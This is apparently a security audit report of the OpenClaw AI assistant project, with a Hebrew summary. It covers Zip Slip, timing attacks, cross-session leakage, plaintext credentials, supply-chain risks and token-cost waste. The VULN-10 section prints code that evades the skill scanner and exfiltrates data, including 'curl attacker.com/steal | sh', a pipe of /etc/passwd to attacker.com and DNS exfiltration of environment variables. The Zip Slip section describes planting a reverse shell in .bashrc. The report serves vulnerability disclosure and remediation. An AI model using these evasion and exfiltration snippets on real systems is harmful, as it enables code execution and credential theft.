A comprehensive, evidence-based red team penetration testing report of the OpenClaw AI assistant project. Every claim includes exact file paths, line numbers, code snippets, and exploitation scenarios. Originally published as a Medium article by Yuval Avidani.
Audit Date: 2026-02-09 | Codebase Version: 2026.2.6-3 | Commit: c984e6d8d | Lines Audited: ~330,000 TypeScript | Dependencies Audited: 1,156 packages
- VULN-01: Zip Slip in Skill Archive Extraction (CVSS 7.5)
- VULN-02: Hook Token Timing Attack (CVSS 5.3)
- VULN-03: Cross-Session Data Leakage via Default dmScope (CVSS 6.5)
- VULN-04: WhatsApp Credentials Stored as Plaintext on Disk (CVSS 6.2)
- VULN-05: Unrestricted Local File Read via Media Attachments (CVSS 5.4)
- VULN-06: Unbounded JSON Parse DoS on WebSocket (CVSS 5.3)
- VULN-07: Media Server Serves Files Without Authentication (CVSS 4.3)
- VULN-08: Auth Token Length Leak via Timing (CVSS 3.1)
- VULN-09: Log Files Written to World-Readable /tmp (CVSS 4.0)
- VULN-10: Skills Scanner Trivially Bypassed (CVSS 7.2)
- The @mariozechner Single-Person Dependency
- WhatsApp via Baileys: Reverse-Engineered and Bannable
- Official vs Unofficial Integrations: The Full Breakdown
- GitHub Tarball Crypto Dependency
IV. Token Economics: The Hidden Cost
- Problem 1: 200K Default Context Window
- Problem 2: Unlimited Conversation History (Quadratic Cost Growth)
- Problem 3: Compaction Burns Tokens to Save Tokens
- Problem 4: Auth Profile Failover Multiplies Every Request
- Problem 5: 648-Line System Prompt on Every Request
- Problem 6: Memory Search Fires on Every Turn
- Problem 7: Web Search Results Bloat Context Forever
- Problem 8: Opus By Default ($15/MTok for "What time is it?")
- Problem 9: Zero Cost Controls
- Problem 10: Opaque Third-Party Core
- The Compounding Effect: $37 vs $2.49 Per Conversation
OpenClaw is not malware. It has genuine security engineering (SSRF protection, secret scanning, Docker hardening). However, it carries significant, exploitable vulnerabilities and architectural design flaws that make it unsuitable for production or security-sensitive use:
- 4 exploitable vulnerabilities at MEDIUM-HIGH severity
- 6 additional security weaknesses at LOW-MEDIUM severity
- $37.28 per 40-turn conversation vs $2.49 in a properly architected solution (93% waste)
- 4 core runtime packages from a single personal npm account
- WhatsApp integration via a reverse-engineered library that violates Meta's ToS
| ID | Finding | Severity | CVSS | Exploitability |
|---|---|---|---|---|
| VULN-01 | Zip Slip in skill archive extraction | HIGH | 7.5 | Medium |
| VULN-10 | Skills scanner trivially bypassed | HIGH | 7.2 | High |
| VULN-03 | Cross-session data leakage (default dmScope) | HIGH | 6.5 | High |
| VULN-04 | WhatsApp credentials plaintext on disk | HIGH | 6.2 | Medium |
| VULN-02 | Hook token timing attack | MEDIUM | 5.3 | Medium |
| VULN-05 | Unrestricted local file read via media | MEDIUM | 5.4 | Medium |
| VULN-06 | Unbounded JSON parse DoS on WebSocket | MEDIUM | 5.3 | Medium |
| VULN-07 | Media server no authentication | MEDIUM | 4.3 | Low |
| VULN-09 | Logs in world-readable /tmp | MEDIUM | 4.0 | High |
| VULN-08 | Auth token length leak via timing | LOW | 3.1 | Low |
| SC-01 | 4 core packages from personal npm account | CRITICAL | N/A | Supply chain |
| SC-02 | WhatsApp via reverse-engineered Baileys | CRITICAL | N/A | ToS / ban risk |
| SC-03 | Crypto library from GitHub tarball | HIGH | N/A | Supply chain |
| TC-01 | $37 vs $2.49 per conversation (93% waste) | N/A | N/A | Financial |
Severity: HIGH | CVSS: 7.5 | OWASP: A08:2021 - Software and Data Integrity Failures
File: src/agents/skills-install.ts lines 255-279
Vulnerable Code:
async function extractArchive(params: {
archivePath: string;
archiveType: string;
targetDir: string;
stripComponents?: number;
timeoutMs: number;
}): Promise<{ stdout: string; stderr: string; code: number | null }> {
if (archiveType === "zip") {
const argv = ["unzip", "-q", archivePath, "-d", targetDir];
return await runCommandWithTimeout(argv, { timeoutMs });
}
const argv = ["tar", "xf", archivePath, "-C", targetDir];
// No --no-wildcards-match-slash, no path validation
return await runCommandWithTimeout(argv, { timeoutMs });
}Exploitation: A malicious skill archive contains entries with paths like ../../../.bashrc or ../../../.ssh/authorized_keys. When extracted, files are written outside the target directory. GNU tar does not prevent ../ traversal by default. unzip similarly allows path traversal entries.
Attack Scenario:
- Attacker publishes a skill on ClawHub with a
downloadinstall spec - Archive contains
../../../../home/node/.bashrcwith a reverse shell - Victim installs the skill via
openclaw skills install - Attacker gets shell access on next terminal session
Fix: Add --transform 's/.*\.\.\///' to tar, or validate all extracted paths stay within targetDir before extraction.
Severity: MEDIUM | CVSS: 5.3 | OWASP: A02:2021 - Cryptographic Failures
File: src/gateway/server-http.ts line 160
Vulnerable Code:
const token = extractHookToken(req);
if (!token || token !== hooksConfig.token) {
res.statusCode = 401;The Inconsistency: Gateway auth (in src/gateway/auth.ts line 39) correctly uses timingSafeEqual. But hook auth uses JavaScript's native !== which short-circuits on the first non-matching byte.
Exploitation: An attacker sends hook requests with tokens of varying prefixes and measures response times. The correct prefix takes slightly longer. Character-by-character, the attacker reconstructs the hook token.
Proof of Concept Logic:
Token: "abc123xyz"
Attempt "a________" -> 120ms (matched 1st char, slower)
Attempt "b________" -> 115ms (failed 1st char, faster)
Attempt "ab_______" -> 121ms (matched 2 chars)
... repeat for each position
Severity: HIGH | CVSS: 6.5 | OWASP: A01:2021 - Broken Access Control
File: src/config/types.base.ts line 84
Default check: src/security/audit.ts line 495
Vulnerable Code:
dmScope?: "main" | "per-peer" | "per-channel-peer" | "per-account-channel-peer";
// Default: "main" (confirmed in audit.ts line 495)
const dmScope = params.cfg.session?.dmScope ?? "main";Impact: When dmScope is "main" (the default), ALL DM senders across ALL channels share the same conversation session. A Telegram user sees context from WhatsApp conversations. Multiple users share the same conversation history.
Attack Scenario:
- Alice sends sensitive financial data to the bot via WhatsApp
- Bob (a different person) messages the bot via Telegram
- Bob's conversation has Alice's financial context in its history
- The AI may reference or leak Alice's data in responses to Bob
Fix: Change default dmScope from "main" to "per-channel-peer".
Severity: HIGH | CVSS: 6.2 | OWASP: A02:2021 - Cryptographic Failures
File: src/web/auth-store.ts lines 19-24
File: src/web/session.ts line 110
Vulnerable Code:
// auth-store.ts
export function resolveWebCredsPath(authDir: string): string {
return path.join(authDir, "creds.json");
}
// session.ts
const { state, saveCreds } = await useMultiFileAuthState(authDir);Impact: Baileys stores WhatsApp session keys as plaintext JSON: creds.json, pre-key-*.json, sender-key-*.json, session-*.json. These files contain private Signal Protocol keys that allow full impersonation of the linked WhatsApp account. No encryption at rest.
Location: <stateDir>/credentials/whatsapp/default/
Attack Scenario: Any process or user with read access to the state directory can copy these files and take over the WhatsApp session from another machine.
The security/fix.ts module does chmod 0o600, but only when the user explicitly runs openclaw security fix. Initial file creation by Baileys does NOT set restrictive permissions.
Severity: MEDIUM | CVSS: 5.4
File: src/media-understanding/attachments.ts lines 399-405, 256
Vulnerable Code:
private resolveLocalPath(attachment: MediaAttachment): string | undefined {
const rawPath = normalizeAttachmentPath(attachment.path);
return path.isAbsolute(rawPath) ? rawPath : path.resolve(rawPath);
}
// Then at line 256:
const buffer = await fs.readFile(entry.resolvedPath);Impact: Media attachments with local file paths are read without sandboxing. If an attacker controls the MediaPath field in a message, they can read arbitrary files.
Attack Scenario: Through a connected channel, an attacker sends a message with MediaPath set to /etc/shadow or the WhatsApp credentials file. The media understanding system reads and processes the file content, potentially leaking it in the AI response.
Severity: MEDIUM | CVSS: 5.3
File: src/gateway/server/ws-connection/message-handler.ts line 240
Vulnerable Code:
socket.on("message", async (data) => {
const text = rawDataToString(data);
const parsed = JSON.parse(text); // No pre-parse size/depth checkImpact: A deeply nested JSON structure (10,000+ levels) causes JSON.parse to consume excessive CPU, blocking the event loop for all other connections.
Mitigation: WebSocket maxPayload limits total byte size, and auth is required. But an authenticated client can still DoS other users.
Severity: MEDIUM | CVSS: 4.3
File: src/media/server.ts lines 28-89
The /media/:id endpoint serves files without authentication. Media IDs are UUIDs (128-bit entropy) and files are single-use with 2-minute TTL, making enumeration infeasible. But if an ID is intercepted (e.g., in logs), the file can be downloaded by anyone.
Severity: LOW | CVSS: 3.1
File: src/gateway/auth.ts lines 35-40
function safeEqual(a: string, b: string): boolean {
if (a.length !== b.length) { return false; } // <-- Length leak
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
}The length check before timingSafeEqual leaks the token length via timing. An attacker can determine the exact length by measuring response times for different-length inputs.
Severity: MEDIUM | CVSS: 4.0
File: src/logging/logger.ts lines 13-14
export const DEFAULT_LOG_DIR = "/tmp/openclaw";Log directory created with default umask (world-readable). Redaction keeps first 6 + last 4 characters of tokens (src/logging/redact.ts line 68-74), leaking partial token material. If redaction is disabled (logging.redactSensitive: "off"), all secrets are written to world-readable logs.
Severity: HIGH | CVSS: 7.2
File: src/security/skill-scanner.ts lines 88-146
The scanner uses regex patterns to detect dangerous code. Every rule is trivially bypassed:
Rule: dangerous-exec (detects exec(, spawn()
// Bypass: dynamic property access
const cp = await import('child_' + 'process');
cp['ex' + 'ec']('curl attacker.com/steal | sh');Rule: dynamic-code-execution (detects eval(, new Function()
// Bypass: indirect reference
const e = globalThis['ev' + 'al'];
e('malicious code');Rule: potential-exfiltration (detects readFile + fetch)
// Bypass: use different APIs
import { createReadStream } from 'fs';
import { request } from 'https';
createReadStream('/etc/passwd').pipe(request({ host: 'attacker.com' }));Rule: env-harvesting (detects process.env + fetch)
// Bypass: Reflect + DNS exfiltration
const env = Reflect.get(process, 'env');
const data = Object.entries(env).map(([k,v]) => k+'='+v).join('\n');
const { resolve } = await import('dns');
resolve(Buffer.from(data).toString('hex').slice(0,60)+'.attacker.com', ()=>{});Impact: Any malicious skill can bypass all scanning rules and achieve arbitrary code execution, credential theft, and data exfiltration.
Source: package.json lines 118-121
@mariozechner/pi-agent-core 0.52.9 <- THE CORE AGENT RUNTIME
@mariozechner/pi-ai 0.52.9 <- THE AI INTEGRATION LAYER
@mariozechner/pi-coding-agent 0.52.9 <- THE CODING AGENT
@mariozechner/pi-tui 0.52.9 <- THE TERMINAL UI
Plus 12+ precompiled native clipboard binaries and a forked module loader (@mariozechner/jiti), all from one personal npm account.
Real-world npm hijacking precedents:
- event-stream (2018): 8M downloads/week, hijacked for crypto wallet theft
- ua-parser-js (2021): 8M downloads/week, compromised with cryptominer
- colors.js (2022): Maintainer intentionally sabotaged own package
If this single npm account is compromised, every OpenClaw installation worldwide runs the attacker's code with access to all API keys, messaging credentials, and shell access.
Source: package.json line 126: "@whiskeysockets/baileys": "7.0.0-rc.9"
- Release candidate of a reverse-engineered library
- Violates Meta's Terms of Service — accounts get permanently banned
- Full account access via QR auth — reads all messages, contacts, media
- Crypto library from GitHub tarball (not npm registry)
- Official alternative exists: WhatsApp Business Cloud API
| Service | Package | Publisher |
|---|---|---|
| Slack | @slack/bolt ^4.6.0 |
Slack/Salesforce |
| LINE | @line/bot-sdk ^10.6.0 |
LINE Corporation |
| Lark/Feishu | @larksuiteoapi/node-sdk ^1.58.0 |
ByteDance |
| AWS Bedrock | @aws-sdk/client-bedrock ^3.985.0 |
AWS |
| Microsoft Teams | @microsoft/agents-hosting ^1.2.3 |
Microsoft |
| Google Chat | google-auth-library ^10.5.0 |
|
| Matrix Crypto | @matrix-org/matrix-sdk-crypto-nodejs ^0.4.0 |
Matrix.org |
| OpenAI | openai ^6.18.0 |
OpenAI |
| OpenTelemetry | @opentelemetry/* |
CNCF |
| Service | Package | Risk | Alternative |
|---|---|---|---|
@whiskeysockets/baileys 7.0.0-rc.9 |
CRITICAL | WhatsApp Business Cloud API | |
| TTS | node-edge-tts 1.2.10 |
MEDIUM | Azure Speech SDK |
| Zalo | zca-cli |
MEDIUM | None |
| Anthropic (Genkit) | genkitx-anthropic 0.25.0 |
MEDIUM | @anthropic-ai/sdk |
| Package | Risk | Function |
|---|---|---|
@mariozechner/pi-* (4 packages) |
CRITICAL | Core agent runtime |
@mariozechner/clipboard-* (12+) |
HIGH | Native OS binaries |
@lydell/node-pty 1.2.0-beta.3 |
HIGH | Shell access (personal fork) |
Source: pnpm-lock.yaml line 2898
@whiskeysockets/libsignal-node@https://codeload.github.com/whiskeysockets/
libsignal-node/tar.gz/1c30d7d7e76a3b0aa120b04dc6a26f5a12dccf67
The Signal Protocol crypto implementation is fetched from GitHub, not npm. Bypasses npm's SHA-512 integrity verification. If the repo is compromised, the entire encryption layer is compromised.
IV. Token Economics: The Hidden Cost
Pricing reference (Anthropic, per million tokens, Feb 2026):
| Model | Input | Output | Cache Read | Cache Write |
|---|---|---|---|---|
| Claude Opus 4.6 | $15 | $75 | $1.50 | $18.75 |
| Claude Sonnet 4.5 | $3 | $15 | $0.30 | $3.75 |
File: src/agents/defaults.ts line 6
export const DEFAULT_CONTEXT_TOKENS = 200_000;A "What's the weather?" query carries up to 200K tokens of history. At Opus: $3.00 per request vs $0.30 with a 20K context. Waste: $2.70 per request.
File: src/agents/pi-embedded-runner/history.ts lines 15-36
if (!limit || limit <= 0 || messages.length === 0) {
return messages; // Returns EVERYTHING if no limit set
}No default limit. Token cost grows quadratically:
| Turn | Tokens Sent | Input Cost (Opus) |
|---|---|---|
| 1 | ~500 | $0.0075 |
| 10 | ~8,000 | $0.12 |
| 50 | ~70,000 | $1.05 |
| 100 | ~160,000 | $2.40 |
100-turn conversation input cost: ~$50-80. With 15-turn sliding window: $18-25 (60-70% reduction).
File: src/agents/compaction.ts lines 140-170, 244-305
When context overflows:
- Failed request: $3.00 (200K tokens, already billed)
- Summarize chunk 1: $1.35 (80K input)
- Summarize chunk 2: $1.35 (80K input)
- Merge summaries: $0.14 (4K input)
- Retry request: $0.90 (50K input)
- Total for ONE message: $6.74 (vs $0.30-0.75 with proactive management)
File: src/agents/pi-embedded-runner/run.ts lines 329-384, 735-765
const rotated = await advanceAuthProfile();
if (rotated) { continue; } // Retry ENTIRE request with new profile3 profiles, first 2 rate-limited = $2.40 for one message (vs $0.90 without waste). Worst case with compaction: 3 compaction x 3 profile retries = 9 API calls for one user message.
File: src/agents/system-prompt.ts (648 lines)
Estimated ~3,000-6,000 tokens sent on EVERY request. No prompt caching used (Anthropic supports it natively at 10x cheaper read rates).
Cost: At 5K tokens x 100 requests/day x Opus = $225/month just for system prompt. With caching: $22.50/month (90% reduction).
File: src/agents/memory-search.ts lines 73-82
6 results x 400 tokens = 2,400 tokens injected per turn. Even for "thanks" or "ok." Cost: $108/month at 100 turns/day on Opus.
File: src/agents/tools/web-search.ts lines 20-23
5 results x ~1,000 tokens each = 5,000 tokens. These stay in history and are re-sent on every subsequent turn. One search on turn 5 adds ~5K tokens to turns 6, 7, 8... 100.
File: src/agents/defaults.ts lines 3-4
export const DEFAULT_PROVIDER = "anthropic";
export const DEFAULT_MODEL = "claude-opus-4-6";"Set a reminder for 3pm" costs the same on Opus as on Haiku, but Opus is 60x more expensive than Haiku. Monthly for 100 msg/day: $1,350 Opus vs $270 Sonnet vs ~$30 Haiku.
File: src/config/defaults.ts lines 28-33
const DEFAULT_MODEL_COST: ModelDefinitionConfig["cost"] = {
input: 0, output: 0, cacheRead: 0, cacheWrite: 0,
};Default costs are zero. No budget limits. No alerts. No pre-request cost estimation. A runaway conversation can burn $50+ with no warning.
The LLM interaction layer is inside @mariozechner/pi-agent-core -- a closed-source npm package. You cannot inspect or optimize how API calls are made. You cannot add prompt caching, request batching, or token budgets at the core level.
40-turn conversation with 3 web searches and 1 overflow:
| Component | Tokens | Cost (Opus) |
|---|---|---|
| System prompt (40 x 5K) | 200,000 | $3.00 |
| History (quadratic, avg 30K/turn) | 1,200,000 | $18.00 |
| Memory search (40 x 2.4K) | 96,000 | $1.44 |
| Web search context (resent each turn) | 225,000 | $3.38 |
| Overflow - failed request | 200,000 | $3.00 |
| Overflow - compaction (2 chunks + merge) | 164,000 | $2.46 |
| Overflow - retry | 50,000 | $0.75 |
| Auth failover retry | 50,000 | $0.75 |
| Output (40 x 1.5K) | 60,000 | $4.50 |
| Total | ~2,245,000 | $37.28 |
| Component | Tokens | Cost (Sonnet) |
|---|---|---|
| System prompt (cached) | 5K + 39 cache reads | $0.07 |
| History (15-turn window, 12K/turn) | 480,000 | $1.44 |
| Memory search (10/40 turns) | 24,000 | $0.07 |
| Web search (summarized, not resent) | 1,500 | $0.005 |
| No overflow | 0 | $0.00 |
| No failover | 0 | $0.00 |
| Output (40 x 1.5K) | 60,000 | $0.90 |
| Total | ~570,500 | $2.49 |
| Metric | OpenClaw | Optimized | Reduction |
|---|---|---|---|
| Tokens per conversation | 2,245,000 | 570,500 | 75% |
| Cost per conversation | $37.28 | $2.49 | 93% |
| Monthly (3 convos/day) | $3,355 | $224 | $3,131/mo |
| Annual | $40,260 | $2,688 | $37,572/yr |
| Aspect | OpenClaw | Proper Architecture |
|---|---|---|
| Reverse-engineered Baileys | Official Business Cloud API | |
| Core runtime | Personal npm account | Organization-scoped with provenance |
| Auth | Plaintext, no rate limiting | bcrypt/Argon2 + rate limiting + 2FA |
| Plugin security | Regex scanner (bypassable) | Sandboxed + permissions + code signing |
| Context management | 200K window, reactive compaction | Sliding window, proactive summarization |
| Prompt caching | Not used | 10x cheaper cache reads |
| Model routing | Opus for everything | Haiku/Sonnet/Opus by complexity |
| Cost controls | Zero (default costs = $0) | Budgets, alerts, pre-request estimation |
| Session isolation | Shared by default | Per-channel-peer by default |
File: src/gateway/auth.ts line 238
authorizeGatewayConnect() has zero rate limiting. Unlimited brute-force attempts possible. No lockout, no backoff, no IP blocking.
File: src/gateway/auth.ts lines 35-40
Passwords compared with timingSafeEqual (prevents timing attacks), but stored in plaintext. No bcrypt, no Argon2, no hashing.
File: src/pairing/pairing-store.ts lines 11-12, 187-195
8-character code from 30-char alphabet = 30^8 = 656 billion combinations (39.3 bits entropy). Uses crypto.randomInt (good). But no rate limiting on approveChannelPairingCode -- no lockout after failed attempts.
Credit where due -- the project has real security engineering:
| Practice | File | Verdict |
|---|---|---|
| SSRF DNS pinning | src/infra/net/ssrf.ts |
EXCELLENT |
| IPv6-mapped IPv4 detection | src/infra/net/ssrf.ts |
EXCELLENT |
| Path traversal prevention in media | src/media/server.ts (openFileWithinRoot) |
EXCELLENT |
| Prototype pollution guard | src/config/config-paths.ts |
GOOD |
| Secret detection pre-commit | .pre-commit-config.yaml |
GOOD |
| Docker non-root user | Dockerfile |
GOOD |
| Timing-safe gateway auth | src/gateway/auth.ts |
GOOD |
| External content wrapping | src/security/external-content.ts |
GOOD |
| Build script allowlist | package.json (onlyBuiltDependencies) |
GOOD |
| Min package release age (48h) | package.json (minimumReleaseAge: 2880) |
EXCELLENT |
| Security audit CLI tool | src/security/audit.ts |
GOOD |
| Dangerous env var blocking | src/agents/bash-tools.exec.ts |
GOOD |
| Hook token query param rejection | src/gateway/server-http.ts |
GOOD |
| Security response headers (CSP, X-Frame) | src/gateway/control-ui.ts |
GOOD |
OpenClaw is a feature-rich open-source project with genuine security engineering in some areas (SSRF protection, path traversal prevention, secret scanning). It is not malware and not spyware.
However, the architectural choices create compounding risks:
- Supply chain: 4 core packages from one personal npm account = single point of compromise for all users
- WhatsApp: Reverse-engineered Baileys = ToS violation, permanent ban risk, full credential exposure
- Token economics: 93% cost overhead vs optimized implementation = $37,572/year wasted per medium-use deployment
- Security gaps: Zip Slip, timing attacks, cross-session leakage, bypassable scanner = exploitable vulnerabilities
For hobby use: Acceptable with understood risks. For business use: Not recommended. For sensitive data: Not without major remediation.
The "magic package that does it all" narrative is technically accurate -- it does integrate 15+ channels. But the cost is trusting a chain of unofficial, personal-namespace, and reverse-engineered dependencies with your credentials, your messages, and your money.
Author: Yuval Avidani | Report Date: February 9, 2026 Methodology: Static source code analysis, dependency audit, architecture review Disclaimer: This report is based on static analysis of OpenClaw v2026.2.6-3. No runtime penetration testing was performed. All findings are verifiable against the referenced source files.
מאת יובל אבידני
OpenClaw הוא gateway ל-AI שמחבר מודלים של בינה מלאכותית לאפליקציות מסרים. ישבתי על הקוד, עברתי על כל שורה רלוונטית, והנה מה שמצאתי:
- 4 פגיעויות שאפשר לנצל בפועל — ברמת חומרה בינונית עד גבוהה
- שיחה אחת עולה $37.28 — בזמן שפתרון בנוי נכון עולה $2.49 (בזבוז של 93%)
- 4 חבילות ליבה יושבות בחשבון npm אישי של בן אדם אחד — נקודת כשל בודדת
- וואטסאפ עובד דרך Baileys — ספרייה שעושה reverse engineering לפרוטוקול של מטא, מה שמפר את תנאי השירות ויכול להוביל לחסימה קבועה
קובץ: src/agents/skills-install.ts שורות 255-279
מה קורה פה? אפשר להכין ארכיון זדוני עם נתיבים כמו ../../../.bashrc. כשהמערכת מחלצת אותו, קבצים נכתבים מחוץ לתיקיית היעד. הפקודה tar לא חוסמת נתיבים עם ../ כברירת מחדל — אז אפשר לכתוב לכל מקום.
איך תוקף מנצל את זה:
- מפרסם skill ב-ClawHub עם הוראת התקנה מסוג
download - בתוך הארכיון יש
../../../../home/node/.bashrcעם reverse shell - הקורבן מתקין את ה-skill — נראה לגיטימי לחלוטין
- בפעם הבאה שהוא פותח טרמינל — התוקף כבר בפנים
קובץ: src/gateway/server-http.ts שורה 160
מה הבעיה? השוואת ה-token ב-hooks משתמשת ב-!== של JavaScript — אופרטור שעוצר ברגע שהוא מוצא תו שלא מתאים. תוקף יכול למדוד את זמן התגובה ולשחזר את ה-token תו אחרי תו.
הדבר המעצבן: באימות ה-Gateway עצמו השתמשו נכון ב-timingSafeEqual. ב-hooks? שכחו. חוסר עקביות קלאסי.
קובץ: src/config/types.base.ts שורה 84
בפשטות: ברירת המחדל של dmScope היא "main", מה שאומר שכל ההודעות הפרטיות מכל הערוצים נכנסות לאותו session. אליס שולחת נתונים פיננסיים בוואטסאפ, בוב כותב לבוט בטלגרם — והבוט עלול לחשוף לבוב את המידע של אליס. ככה זה כברירת מחדל.
קובץ: src/web/auth-store.ts שורות 19-24
Baileys שומר את מפתחות ההצפנה של וואטסאפ בקבצי JSON רגילים: creds.json, pre-key-*.json, session-*.json. בלי שום הצפנה. כל מי שמגיע לתיקייה הזו יכול לשכפל את חשבון הוואטסאפ שלכם למחשב אחר — ולפעול בשמכם.
קובץ: src/security/skill-scanner.ts שורות 88-146
הסורק מחפש דפוסים מסוכנים עם regex. כל כלל אפשר לעקוף בשורה אחת:
- מזהה
exec()? כותביםcp['ex'+'ec']('command')— עוקפים - מזהה
eval()? כותביםglobalThis['ev'+'al']('code')— עוקפים - מזהה
readFile+fetch? משתמשים ב-createReadStream+request— עוקפים - מזהה
process.env? משתמשים ב-Reflect.get(process, 'env')ומדליפים דרך DNS — עוקפים
שורה תחתונה: כל skill זדוני יכול להריץ קוד, לגנוב credentials, ולשלוף מידע מהמערכת. הסורק לא יעצור אותו.
ארבע חבילות הליבה של OpenClaw מתפרסמות מחשבון npm אישי של אדם אחד. אותו חשבון גם מפרסם 12+ בינאריים מקומפלים ו-fork של module loader.
למה זה בעייתי? כי כבר קרו דברים כאלה:
- event-stream (2018) — 8 מיליון הורדות בשבוע, נפרצה ושימשה לגניבת ארנקי קריפטו
- ua-parser-js (2021) — 8 מיליון הורדות בשבוע, הוחדרה עם כורה קריפטו
אם החשבון הזה נפרץ, כל התקנה של OpenClaw בעולם מריצה את הקוד של התוקף — עם גישה מלאה למפתחות API, הרשאות הודעות, ו-shell access.
- גרסת release candidate של ספרייה שעושה reverse engineering לפרוטוקול
- מפר את תנאי השירות של מטא — חשבונות נחסמים לצמיתות, בלי ערעור
- גישה מלאה לכל ההודעות, אנשי קשר ומדיה באמצעות QR code
- ספריית ההצפנה מגיעה מ-GitHub tarball — לא דרך npm, בלי אימות SHA-512
חלופה רשמית קיימת: WhatsApp Business Cloud API — ממשק רשמי, ללא סיכון חסימה.
| מדד | OpenClaw | פתרון בנוי נכון | הפרש |
|---|---|---|---|
| טוקנים לשיחה | 2,245,000 | 570,500 | 75%- |
| עלות לשיחה | $37.28 | $2.49 | 93%- |
| עלות חודשית (3 שיחות/יום) | $3,355 | $224 | $3,131 לחודש |
| עלות שנתית | $40,260 | $2,688 | $37,572 לשנה |
- חלון context של 200K — שואלים "מה השעה?" ומקבלים עד 200K טוקנים של היסטוריה ישנה על הראש
- אין limit על היסטוריה — העלות גדלה בריבוע. הודעה 100 = כבר ~$2.40 רק על input
- כשה-context נגמר, המערכת שורפת עוד כסף — הבקשה נכשלת ($3 שכבר שילמתם), עוד 4-6 קריאות API לדחיסה, ואז ניסיון חוזר. סך הכל: $6.74 על הודעה אחת
- Failover מכפיל הכל — 3 פרופילים, 2 חסומים = $2.40 במקום $0.90
- System prompt של 648 שורות — ~5,000 טוקנים שנשלחים בכל בקשה מחדש, בלי caching בכלל
- Memory search רץ על כל הודעה — גם על "תודה" ו-"אוקיי", 2,400 טוקנים בכל פעם סתם
- Opus כברירת מחדל — $1,350 לחודש. עם Sonnet? $270. אותן תוצאות ב-80% מהמקרים
- אפס בקרות עלות — ברירת מחדל של עלות = $0, בלי budgets, בלי alerts, שום דבר
| היבט | OpenClaw | ארכיטקטורה נכונה |
|---|---|---|
| וואטסאפ | Baileys (reverse engineering) | WhatsApp Business Cloud API |
| ליבה | חשבון npm אישי | חבילות ארגוניות עם provenance |
| אימות | סיסמאות בטקסט רגיל, בלי rate limiting | bcrypt/Argon2 + rate limiting + 2FA |
| אבטחת plugins | סורק regex (אפשר לעקוף) | sandbox + הרשאות + חתימת קוד |
| ניהול context | חלון 200K, דחיסה רק כשנגמר המקום | חלון מתגלגל, סיכום יזום |
| Prompt caching | לא בשימוש | קריאות cache זולות פי 10 |
| ניתוב מודלים | Opus לכל דבר | Haiku/Sonnet/Opus לפי מורכבות |
| בקרות עלות | אפס | budgets, alerts, הערכת עלות מראש |
לשימוש ביתי כתחביב: סבבה, רק תבינו מה הסיכונים.
לשימוש עסקי: לא מומלץ.
למידע רגיש: בשום פנים ואופן לא — עד שמתקנים את הבעיות הקריטיות.
ה"קסם" של תמיכה ב-15+ ערוצים מגיע עם מחיר כבד: תלות בפרוטוקולים שעושים reverse engineering, חבילות npm מחשבון פרטי, וסורק אבטחה שמתבסס על regex בלבד. פתרון שבנוי כמו שצריך — עם API רשמי, חבילות ארגוניות, וניהול טוקנים חכם — יעלה פחות, לא יסכן חסימת חשבון, ויסגור את חורי האבטחה.
מחבר: יובל אבידני | תאריך: 9 בפברואר 2026
מתודולוגיה: ניתוח קוד סטטי, ביקורת dependencies, סקירת ארכיטקטורה
הערה: הדוח מבוסס על ניתוח סטטי של OpenClaw v2026.2.6-3. לא בוצעה בדיקת חדירה בזמן ריצה. כל הממצאים אפשר לאמת ישירות מול קבצי המקור.